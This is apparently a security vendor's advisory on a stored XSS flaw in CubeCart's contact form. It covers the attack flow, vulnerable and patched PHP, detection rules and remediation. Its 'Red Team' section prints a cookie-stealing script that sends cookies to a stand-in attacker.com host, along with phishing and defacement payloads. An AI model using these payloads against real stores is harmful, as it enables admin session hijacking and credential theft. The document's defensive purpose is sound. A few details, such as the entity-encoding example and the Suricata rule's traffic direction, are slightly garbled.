CVE-2025-59411
Executive Summary
CVE-2025-59411 is a Cross-Site Scripting (XSS) vulnerability in CubeCart, an ecommerce software solution, affecting versions prior to 6.5.11. The vulnerability resides in the contact form’s Enquiry field, where user-supplied HTML is not sanitized or escaped before being included verbatim in the email sent to the store administrator. This allows an attacker to inject arbitrary HTML or JavaScript, which can execute in the context of the admin’s email client or the admin UI when the email is viewed. The CVSS score is 5.4 (Medium), with a vector indicating network-based exploitation, low attack complexity, no privileges required, but user interaction (admin viewing the email) is necessary. No public exploit code or nuclei templates are available at this time, but the vulnerability is considered publicly known due to the advisory.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the CubeCart PHP application.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex steps are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The admin must view the email containing the malicious payload.
- Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Potential for limited information disclosure (e.g., session tokens, admin UI data).
- Integrity (I): Low – Potential for limited data modification (e.g., defacement of admin interface).
- Availability (A): None – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, low complexity) and the potential for phishing or credential theft via XSS in the admin email client elevate the risk. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as awareness increases.
Deep Dive & Mechanics
The vulnerability is a classic stored/reflected XSS in the contact form’s Enquiry field. When a user submits the contact form, the Enquiry field content is included directly in the email sent to the store admin without any sanitization or escaping. This means if an attacker submits HTML like <script>alert('XSS')</script>, the admin’s email client will render that HTML, potentially executing JavaScript.
Root Cause: The application fails to apply output encoding or input validation on the Enquiry field before embedding it in the email body. This is a common oversight in PHP applications where mail() or similar functions are used to send emails with user-supplied content.
Attack Flow:
- Attacker navigates to the CubeCart contact form.
- Attacker fills in the Enquiry field with malicious HTML/JavaScript (e.g.,
<img src=x onerror=alert(1)>). - Attacker submits the form.
- The CubeCart server sends an email to the store admin containing the malicious payload verbatim.
- Admin opens the email in an HTML-capable email client (e.g., webmail, Outlook).
- The malicious script executes in the admin’s browser/email client context, potentially stealing cookies, session tokens, or performing actions on behalf of the admin.
Impact: An attacker could:
- Steal admin session cookies and hijack the admin session.
- Perform actions on the admin’s behalf (e.g., modify products, change settings).
- Deface the admin interface.
- Phish for admin credentials by injecting fake login forms.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-6.5.11): The vulnerable code likely resides in the contact form processing script. A simplified example:
<?php
$enquiry = $_POST['enquiry'];
$message = "Enquiry: " . $enquiry;
mail($admin_email, "Contact Form Submission", $message);
?>
Here, $enquiry is directly concatenated into the email body without escaping.
Patched Code (6.5.11):
The patched version sanitizes the input using htmlspecialchars() or similar:
<?php
$enquiry = htmlspecialchars($_POST['enquiry'], ENT_QUOTES, 'UTF-8');
$message = "Enquiry: " . $enquiry;
mail($admin_email, "Contact Form Submission", $message);
?>
This converts HTML special characters to their entity equivalents (e.g., < becomes <), preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A CubeCart instance version < 6.5.11.
- Access to the contact form (no authentication required).
- An email client that renders HTML (e.g., webmail, Outlook).
Exploitation Steps:
- Identify the contact form URL (e.g.,
http://target.com/index.php?_a=contact). - Craft a payload. For example, to steal cookies:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form with the malicious Enquiry field.
- Wait for the admin to view the email.
- Set up a listener on
attacker.comto capture the cookie.
Alternative Payloads:
- Phishing:
<form action="http://attacker.com/login" method="POST"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form> - Defacement:
<h1>Hacked</h1>
Blue Team (Defender)
Detection:
- Monitor email logs for unusual content in the Enquiry field (e.g.,
<script>,<img onerror=, etc.). - Use WAF rules to block common XSS patterns in POST requests to the contact form.
- Implement email content filtering to strip HTML from incoming emails.
Hunting:
- Search email server logs for emails containing HTML tags in the body.
- Review CubeCart access logs for repeated contact form submissions from the same IP.
Lab Setup:
- Install CubeCart 6.5.10 in a controlled environment.
- Configure a local mail server (e.g., MailHog) to capture emails.
- Submit a test payload and observe the email content.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/index.php?_a=contactwithenquiryparameter containing HTML tags (e.g.,<script>,<img,<iframe>). - Outbound emails from the CubeCart server containing raw HTML in the body.
- POST requests to
- Host:
- Log entries in
/var/log/mail.logor similar showing emails with HTML content. - CubeCart access logs showing repeated contact form submissions.
- Log entries in
- Email:
- Emails with subject "Contact Form Submission" containing unexpected HTML or JavaScript.
- Emails with links to external domains in the body.
Detection Engineering
YARA Rule
rule CVE_2025_59411_CubeCart_XSS {
meta:
description = "Detects CubeCart contact form submissions with HTML injection attempts"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-59411"
strings:
$html_tag = /<[a-zA-Z\/].*?>/
$script_tag = /<script[^>]*>.*?<\/script>/is
$event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
condition:
$html_tag or $script_tag or $event_handler
}
Sigma Rule
title: CubeCart Contact Form XSS Attempt
id: 8f7b3c2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects potential XSS attempts in CubeCart contact form submissions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '_a=contact'
cs-uri-query|contains|all:
- 'enquiry='
- '<'
- '>'
condition: selection
falsepositives:
- Legitimate HTML in contact form (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59411 CubeCart Contact Form XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"_a=contact"; http_uri; content:"enquiry="; http_client_body; pcre:"/<[a-zA-Z\/].*?>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade CubeCart to version 6.5.11 or later. This is the only complete fix.
- If upgrade is not possible, apply a virtual patch using a WAF to block HTML tags in the
enquiryparameter. - Disable HTML rendering in email clients for the admin (e.g., view emails in plain text).
Long-term Measures:
- Implement input validation and output encoding for all user-supplied data.
- Use a content security policy (CSP) in the admin interface to mitigate XSS impact.
- Regularly update CubeCart and monitor for security advisories.
- Conduct security training for administrators to recognize phishing attempts.
Workaround:
- Modify the contact form processing code to use
htmlspecialchars()on the Enquiry field before sending the email. This is a temporary fix until upgrade.
Valters IT
Securing Digital Frontiers